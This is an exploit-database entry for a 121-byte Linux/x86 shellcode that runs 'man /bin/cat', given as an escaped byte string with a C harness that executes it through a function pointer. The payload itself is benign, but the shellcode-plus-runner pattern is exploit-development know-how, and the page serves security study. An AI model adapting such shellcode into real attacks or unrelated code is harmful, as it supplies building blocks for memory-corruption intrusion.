Lucene search
K

linux/x86 - "man /bin/cat" shellcode 121 bytes

🗓️ 15 Sep 2012 00:00:00Reported by Dark-PuzzleType 
zdt
 zdt
🔗 0day.today👁 17 Views

Linux/x86 "man /bin/cat" shellcode 121 byte

Code
/*
# 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
# 0      _                   __           __       __                      1
# 1    /' \            __  /'__`\        /\ \__  /'__`\                    0
# 0   /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___            1
# 1   \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\           0
# 0      \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/            1
# 1       \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\            0
# 0        \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/            1
# 1                   \ \____/ >> Exploit database separated by exploit    0
# 0                    \/___/          type (local, remote, DoS, etc.)     1
# 1                                                                        1
# 0   [x] Official Website: http://www.1337day.com                         0
# 1   [x] Support E-mail  : mr.inj3ct0r[at]gmail[dot]com                   1
# 0                                                                        0
# 1               ==========================================               1
# 0                   I'm Dark-Puzzle From Inj3ct0r TEAM                   0
# 0                                                                        1
# 1                       dark-puzzle[at]live[at]fr                        0
# 0               ==========================================               1
# 1                              White Hat                                 1
# 0                         Independant Pentester                          0
# 1                      exploit coder/bug researcher                      0
# 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-1
Shellcode By DarkPuzzle
Title : Linux/x86 Shellcode - "man /bin/cat" 121 bytes .
Author : Dark-Puzzle (Souhail Hammou)
Platform : Linux/x86
Gr33tz to : Inj3ct0rs Team - SecurityFocus - PacketstormSecurity - Exploit-db . 
Usage ::Shellcode executes the command : man /bin/cat ( shows the user manual of /bin/cat)
to exit the manual press CTRL+C then write :wq
 */

char darkcode[] = "\xeb\x5a\x31\xc0\x31\xdb\x31\xd2\xb0\x04\xb3\x01\x59\xb2\x18\xcd\x80\xeb\x27\x5e\x31\xc0\x88\x46\x0c\x88\x46\x10\x89\x76\x11\x8d\x5e\x0d\x89\x5e\x15\x89\x46\x19\xb0\x0b\x89\xf3\x8d\x4e\x11\x8d\x56\x19\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xd4\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x6d\x61\x6e\x23\x63\x61\x74\x23\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\xe8\xa1\xff\xff\xff\x43\x6f\x64\x65\x64\x20\x42\x79\x20\x44\x61\x72\x6b\x2d\x50\x75\x7a\x7a\x6c\x65\x2f\x2a\x2a\x2f";
int main (int argc, char **argv)
{
	int (*dark) ();
	dark = (int (*) ()) darkcode;
	(int) (*dark) ();

}


Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation